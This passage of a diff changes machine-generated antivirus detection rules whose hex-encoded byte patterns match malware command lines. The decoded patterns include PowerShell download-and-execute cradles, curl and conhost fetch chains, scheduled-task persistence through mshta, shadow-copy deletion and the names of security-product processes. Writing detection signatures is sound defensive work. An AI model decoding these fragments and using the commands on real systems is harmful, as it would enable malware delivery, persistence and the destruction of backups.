2f 54 72 61 70 73 43 6f 6d 6d 6f 6e 50 61 74 68 00 01 00 10 00 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 01 00 12 00 5c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 0e 00 5c 00 } //17187 - $a_00_1 = {72 00 6f 00 6d 00 65 00 01 00 0e 00 5c 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 01 00 0c 00 5c 00 61 00 64 00 6f 00 62 00 65 00 01 00 0e 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 01 00 10 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 5c 00 00 00 d7 af 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //99 - $a_6e_2 = {32 2f 43 6c 69 63 6b 46 69 78 2e 4d 48 21 4d 54 42 00 01 00 26 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 02 00 14 00 3d 00 27 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 0a 00 3b 00 69 00 65 00 78 00 28 00 01 00 1e 00 55 00 73 } //22330 - $a_00_4 = {69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 01 00 0e 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 00 00 d7 af 00 00 68 00 68 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 65 73 6c 61 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 41 44 21 4d 54 42 00 64 00 15 01 73 79 73 77 6f 77 36 34 5c 73 63 68 74 61 } //97 - $a_2e_5 = {78 65 64 00 15 01 73 79 73 74 65 6d 33 32 5c 73 63 68 74 61 73 6b 73 2e 65 78 65 01 00 0b 01 2f 63 72 65 61 74 65 20 2f 74 6e 01 00 08 01 75 70 64 61 74 65 73 5c 01 00 04 01 2f 78 6d 6c 01 00 1d 03 5c 61 70 70 64 61 74 61 5c 6c 6f 63 61 6c 5c 74 65 6d 70 5c 90 02 10 2e 74 6d 70 90 00 00 00 d7 b0 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 54 72 } //27507 - $a_6e_6 = {50 53 2f 53 68 61 64 6f 77 43 6f 70 79 44 65 6c 5f 47 65 74 57 6d 69 46 6f 72 45 61 63 68 00 64 00 78 02 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 90 02 10 77 00 69 00 6e 00 33 00 32 00 5f 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 90 } //27247 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 } //21283 + $a_00_1 = {3a 00 55 00 74 00 63 00 4e 00 6f 00 77 00 2d 00 5b 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 5d 00 01 00 28 00 29 00 2e 00 54 00 6f 00 74 00 61 00 6c 00 53 00 65 00 } //93 + $a_00_2 = {6e 00 64 00 73 00 29 00 2d 00 62 00 61 00 6e 00 64 00 00 00 d7 af 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 48 21 4d 54 42 00 01 00 26 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 02 00 14 00 } //99 condition: - ((#a_44_0 & 1)*17187+(#a_00_1 & 1)*99+(#a_6e_2 & 1)*22330+(#a_00_4 & 1)*97+(#a_2e_5 & 1)*27507+(#a_6e_6 & 1)*27247) >=1 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*93+(#a_00_2 & 1)*99) >=111 } -rule _InfrastructureShared_26329{ +rule _InfrastructureShared_27892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 05 00 21 " @@ -344402,25 +364645,52 @@ rule _InfrastructureShared_26329{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 48 21 4d 54 42 00 01 00 26 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 02 00 14 00 3d } //21283 $a_00_2 = {70 00 73 00 3a 00 2f 00 2f 00 01 00 0a 00 3b 00 69 00 65 00 78 00 28 00 01 00 1e 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 01 00 0e 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 00 00 d7 af 00 00 68 00 68 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 65 73 6c 61 } //116 $a_6b_3 = {63 68 65 64 75 6c 65 72 2e 41 44 21 4d 54 42 00 64 00 15 01 73 79 73 77 6f 77 36 34 5c 73 63 68 74 61 73 6b 73 2e 65 78 65 64 00 15 01 73 79 73 74 65 6d 33 32 5c 73 63 68 74 61 73 6b 73 2e 65 78 65 01 00 0b 01 2f 63 72 65 61 74 65 20 2f 74 6e 01 00 08 01 75 70 64 61 74 65 73 5c 01 00 04 01 2f 78 6d 6c 01 00 1d 03 5c 61 70 70 64 61 74 61 5c 6c } //24916 - $a_6c_4 = {74 65 6d 70 5c 90 02 10 2e 74 6d 70 90 00 00 00 d7 b0 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 53 2f 53 68 61 64 6f 77 43 6f 70 79 44 65 6c 5f 47 65 74 57 6d 69 46 6f 72 45 61 63 68 00 64 00 78 02 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 } //25455 + $a_6c_4 = {74 65 6d 70 5c 90 02 10 2e 74 6d 70 90 00 00 00 d7 b0 00 00 07 00 07 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 42 00 01 00 0e 00 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 01 00 1a 00 62 00 64 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 68 00 6f } //25455 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_6b_3 & 1)*24916+(#a_6c_4 & 1)*25455) >=6 } -rule _InfrastructureShared_26330{ +rule _InfrastructureShared_27893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,68 00 68 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 65 73 6c 61 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 41 44 21 4d 54 42 00 64 00 15 01 73 79 73 77 6f 77 36 34 5c 73 63 68 74 61 73 6b 73 2e 65 78 65 64 00 15 01 73 79 73 74 } //21283 $a_32_1 = {73 63 68 74 61 73 6b 73 2e 65 78 65 01 00 0b 01 2f 63 72 65 61 74 65 20 2f 74 6e 01 00 08 01 75 70 64 61 74 65 73 5c 01 00 04 01 2f 78 6d 6c 01 00 1d 03 } //28005 - $a_70_2 = {61 74 61 5c 6c 6f 63 61 6c 5c 74 65 6d 70 5c 90 02 10 2e 74 6d 70 90 00 00 00 d7 b0 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 53 2f 53 68 61 64 6f 77 43 6f 70 79 44 65 6c 5f 47 65 74 57 6d 69 46 6f 72 45 61 63 68 00 64 00 78 02 67 00 65 00 74 00 2d 00 77 00 6d 00 69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 90 02 } //24924 - $a_00_4 = {32 00 5f 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 90 02 10 7c 00 90 02 10 66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 } //110 + $a_70_2 = {61 74 61 5c 6c 6f 63 61 6c 5c 74 65 6d 70 5c 90 02 10 2e 74 6d 70 90 00 00 00 d7 b0 00 00 07 00 07 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 42 00 01 00 0e 00 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 01 00 1a 00 62 00 64 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 68 00 6f 00 73 00 74 00 } //24924 + $a_00_3 = {53 00 6f 00 70 00 68 00 6f 00 73 00 48 00 65 00 61 00 6c 00 74 00 68 00 } //1 SophosHealth + $a_00_4 = {41 00 76 00 61 00 73 00 74 00 55 00 49 00 } //1 AvastUI + $a_00_5 = {41 00 56 00 47 00 55 00 49 00 } //1 AVGUI condition: - ((#a_46_0 & 1)*21283+(#a_32_1 & 1)*28005+(#a_70_2 & 1)*24924+(#a_00_4 & 1)*110) >=104 + ((#a_46_0 & 1)*21283+(#a_32_1 & 1)*28005+(#a_70_2 & 1)*24924+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=104 } -rule _InfrastructureShared_26331{ +rule _InfrastructureShared_27894{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 42 00 01 00 0e 00 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 01 00 1a 00 62 00 64 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 68 00 6f 00 73 00 74 00 01 00 18 00 53 00 } //21283 + $a_00_1 = {68 00 6f 00 73 00 48 00 65 00 61 00 6c 00 74 00 68 00 01 00 0e 00 41 00 76 00 61 00 73 00 74 00 55 00 49 00 01 00 0a 00 41 00 56 00 47 00 55 00 49 00 01 00 10 00 6e 00 73 00 57 00 73 00 63 00 53 00 76 00 63 00 01 00 08 00 65 00 6b 00 72 00 6e 00 00 00 d7 b0 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //111 + $a_68_2 = {78 65 63 2e 48 42 21 4d 54 42 00 0a 00 82 02 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 90 02 18 20 00 2f 00 74 00 72 00 20 00 6d 00 73 00 68 00 74 00 61 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 18 2e 00 68 00 74 00 61 00 20 00 2f 00 73 00 63 00 20 00 } //21295 + $a_00_3 = {6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 90 02 04 20 00 2f 00 72 00 75 00 20 00 90 02 28 20 00 2f 00 66 00 90 00 00 00 d7 b0 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 53 2f 53 68 61 64 6f 77 43 6f 70 79 44 65 6c 5f 47 65 74 57 6d 69 46 6f 72 45 61 63 68 00 64 00 78 02 67 00 65 } //109 + $a_00_5 = {69 00 6f 00 62 00 6a 00 65 00 63 00 74 00 90 02 10 77 00 69 00 6e 00 33 00 32 00 5f 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 90 02 10 7c 00 90 02 10 66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 28 00 29 00 3b 00 90 00 00 } //119 + $a_00_6 = {00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 53 21 4d 54 42 00 64 00 34 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 20 00 63 00 6d 00 64 00 0a 00 1a 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 2d 00 6f 00 0a 00 2a 00 26 00 26 00 20 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 00 } //-10496 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_68_2 & 1)*21295+(#a_00_3 & 1)*109+(#a_00_5 & 1)*119+(#a_00_6 & 1)*-10496) >=7 + +} +rule _InfrastructureShared_27895{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 42 21 4d 54 42 00 0a 00 82 02 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 90 02 18 20 00 2f 00 74 00 72 00 20 00 6d 00 73 00 68 00 74 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 21 " @@ -344430,29 +364700,56 @@ rule _InfrastructureShared_26331{ ((#a_4c_0 & 1)*21539) >=100 } -rule _InfrastructureShared_26332{ +rule _InfrastructureShared_27897{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 53 21 4d 54 42 00 64 00 34 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 } //21283 + $a_00_1 = {63 00 6d 00 64 00 0a 00 1a 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 } //115 + $a_00_2 = {0a 00 2a 00 26 00 26 00 20 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 00 00 d7 b0 00 00 79 00 79 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 44 21 4d 54 42 00 64 00 18 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 } //45 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*45) >=120 + +} +rule _InfrastructureShared_27898{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 44 21 4d 54 42 00 64 00 18 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 00 20 00 20 00 2f 00 63 00 64 00 18 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 00 } //21283 + $a_00_1 = {2f 00 6b 00 0a 00 18 00 65 00 63 00 68 00 6f 00 20 00 71 00 62 00 61 00 64 00 74 00 65 00 6b 00 } //32 + $a_00_2 = {23 00 20 00 43 00 3a 00 } //10 # C: + $a_00_3 = {2e 00 64 00 6f 00 63 00 78 00 } //1 .docx + $a_00_4 = {2e 00 70 00 64 00 66 00 } //1 .pdf + $a_00_5 = {2e 00 78 00 6c 00 73 00 } //1 .xls + $a_b1_6 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 4b 21 4d 54 42 00 01 00 81 02 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 90 02 05 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 3c 7c 00 20 00 69 00 65 00 78 00 90 00 00 00 d7 b1 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_b1_6 & 1)*0) >=121 + +} +rule _InfrastructureShared_27899{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 4b 21 4d 54 42 00 01 00 81 02 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 45 78 66 69 6c 2e 42 21 69 62 74 00 01 00 26 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 2e 00 5c 00 37 00 7a 00 } //21539 - $a_00_1 = {78 00 65 00 01 00 52 02 61 00 20 00 2d 00 6d 00 78 00 39 00 20 00 2d 00 72 00 30 00 20 00 2d 00 70 00 90 02 60 5c 00 6f 00 77 00 61 00 5c 00 61 00 75 00 74 00 68 00 5c 00 52 00 65 00 64 00 69 00 72 00 2e 00 70 00 6e 00 67 00 22 00 90 02 20 2e 00 70 00 73 00 74 00 90 00 00 00 d7 b1 00 00 03 00 03 00 03 } //46 + $a_00_1 = {78 00 65 00 01 00 52 02 61 00 20 00 2d 00 6d 00 78 00 39 00 20 00 2d 00 72 00 30 00 20 00 2d 00 70 00 90 02 60 5c 00 6f 00 77 00 61 00 5c 00 61 00 75 00 74 00 68 00 5c 00 52 00 65 00 64 00 69 00 72 00 2e 00 70 00 6e 00 67 00 22 00 90 02 20 2e 00 70 00 73 00 74 00 90 00 00 00 d7 b1 00 00 0a 00 0a 00 02 } //46 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_26333{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4b 00 01 00 3c 00 2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 74 00 69 00 6d 00 65 00 6c 00 69 00 6d 00 69 00 74 00 20 00 27 00 30 00 30 00 3a } //21283 - $a_00_2 = {30 00 27 00 01 00 36 00 2d 00 64 00 6f 00 6e 00 74 00 73 00 74 00 6f 00 70 00 69 00 66 00 67 00 6f 00 69 00 6e 00 67 00 6f 00 6e 00 62 00 61 00 } //58 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*58) >=3 - -} -rule _InfrastructureShared_26334{ +rule _InfrastructureShared_27901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -344462,7 +364759,19 @@ rule _InfrastructureShared_26334{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26335{ +rule _InfrastructureShared_27902{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 50 21 4d 54 42 00 64 00 2c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6b 00 20 00 2d 00 53 00 } //21283 + $a_00_1 = {2d 02 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 64 00 20 00 25 00 90 02 0f 25 00 20 00 26 00 26 00 20 00 63 00 75 00 72 00 6c 00 90 00 01 00 10 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 01 00 0c 00 26 00 26 00 20 00 66 00 74 00 70 00 00 00 d7 b2 00 00 01 00 01 00 02 00 21 23 53 4c 46 } //115 + $a_6e_2 = {32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 44 00 01 00 3c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 57 00 53 00 52 00 65 00 73 00 65 00 74 00 2e 00 65 00 78 00 65 00 00 00 f6 ff 48 00 32 00 32 00 31 00 63 00 61 00 37 00 32 00 37 00 2d } //22330 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_6e_2 & 1)*22330) >=101 + +} +rule _InfrastructureShared_27903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344473,7 +364782,7 @@ rule _InfrastructureShared_26335{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116) >=1 } -rule _InfrastructureShared_26336{ +rule _InfrastructureShared_27904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " @@ -344485,7 +364794,7 @@ rule _InfrastructureShared_26336{ ((#a_46_0 & 1)*21283+(#a_5c_2 & 1)*656+(#a_00_3 & 1)*115) >=3 } -rule _InfrastructureShared_26337{ +rule _InfrastructureShared_27905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -344496,7 +364805,7 @@ rule _InfrastructureShared_26337{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100) >=10 } -rule _InfrastructureShared_26338{ +rule _InfrastructureShared_27906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -344507,7 +364816,7 @@ rule _InfrastructureShared_26338{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100) >=10 } -rule _InfrastructureShared_26339{ +rule _InfrastructureShared_27907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -344517,7 +364826,7 @@ rule _InfrastructureShared_26339{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26340{ +rule _InfrastructureShared_27908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 02 00 21 " @@ -344528,7 +364837,7 @@ rule _InfrastructureShared_26340{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*656) >=100 } -rule _InfrastructureShared_26341{ +rule _InfrastructureShared_27909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -344539,7 +364848,7 @@ rule _InfrastructureShared_26341{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=1 } -rule _InfrastructureShared_26342{ +rule _InfrastructureShared_27910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -344551,7 +364860,7 @@ rule _InfrastructureShared_26342{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*14637+(#a_39_2 & 1)*12378) >=4 } -rule _InfrastructureShared_26343{ +rule _InfrastructureShared_27911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -344563,23 +364872,34 @@ rule _InfrastructureShared_26343{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*108+(#a_44_3 & 1)*17187) >=10 } -rule _InfrastructureShared_26344{ +rule _InfrastructureShared_27912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 08 00 21 " strings : $a_44_0 = {57 69 6e 33 32 2f 53 75 73 70 69 63 69 6f 75 73 48 54 41 2e 41 00 01 00 16 00 5c 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 01 00 17 02 6d 00 73 00 68 00 74 00 61 00 90 02 0c 68 00 74 00 74 00 70 00 90 00 f6 ff } //17187 $a_00_1 = {68 00 74 00 61 00 f6 ff 08 00 2e 00 68 00 74 00 6d 00 f6 ff 08 00 2e 00 61 00 73 00 70 00 f6 ff 08 00 2e 00 70 00 68 00 70 00 f6 ff 14 00 } //8 - $a_00_2 = {76 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 f6 ff 10 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 00 00 d7 b5 00 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 6d 69 63 4c 61 74 65 72 61 6c 2e 41 00 0a 00 08 00 77 00 6d 00 69 00 63 00 0a 00 10 00 } //106 - $a_00_3 = {6f 00 63 00 65 00 73 00 73 00 20 00 0a 00 0c 00 20 00 63 00 61 00 6c 00 6c 00 20 00 0a 00 10 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 0a 00 06 00 20 00 2d 00 65 00 0a 00 0e 00 20 00 2f 00 6e 00 6f 00 } //112 - $a_00_4 = {3a 00 00 00 d7 b6 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 44 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 72 } //100 - $a_00_6 = {00 00 f6 ff 48 00 35 00 65 00 39 00 34 00 34 00 65 00 64 00 65 00 2d 00 34 00 64 00 32 00 63 00 2d 00 34 00 62 00 33 00 35 00 2d 00 39 00 34 00 36 00 37 00 2d 00 35 00 61 00 61 00 33 00 33 00 35 00 65 00 34 00 34 00 35 00 37 00 31 00 00 00 d7 b6 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //120 - $a_69_7 = {33 32 2f 53 75 73 70 45 78 65 63 2e 41 00 01 00 10 80 01 6d 61 73 71 75 65 72 61 64 65 5f 6e 61 6d 65 73 01 00 0a 80 01 6d 64 20 25 74 65 6d 70 25 5c 01 00 07 80 01 63 6f 70 79 20 2f 79 01 00 39 02 2e 00 65 00 78 00 65 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 } //14958 + $a_00_2 = {76 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 f6 ff 10 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 00 00 d7 b5 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 59 21 4d 54 42 00 01 00 14 00 3b 00 53 00 74 00 61 00 72 } //106 + $a_00_4 = {62 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 3e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //74 + $a_00_5 = {00 00 d7 b5 00 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 6d 69 63 4c } //40 + $a_72_6 = {6c 2e 41 00 0a 00 08 00 77 00 6d 00 69 00 63 00 0a 00 10 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 0a 00 0c 00 20 00 63 00 61 00 6c 00 6c 00 20 00 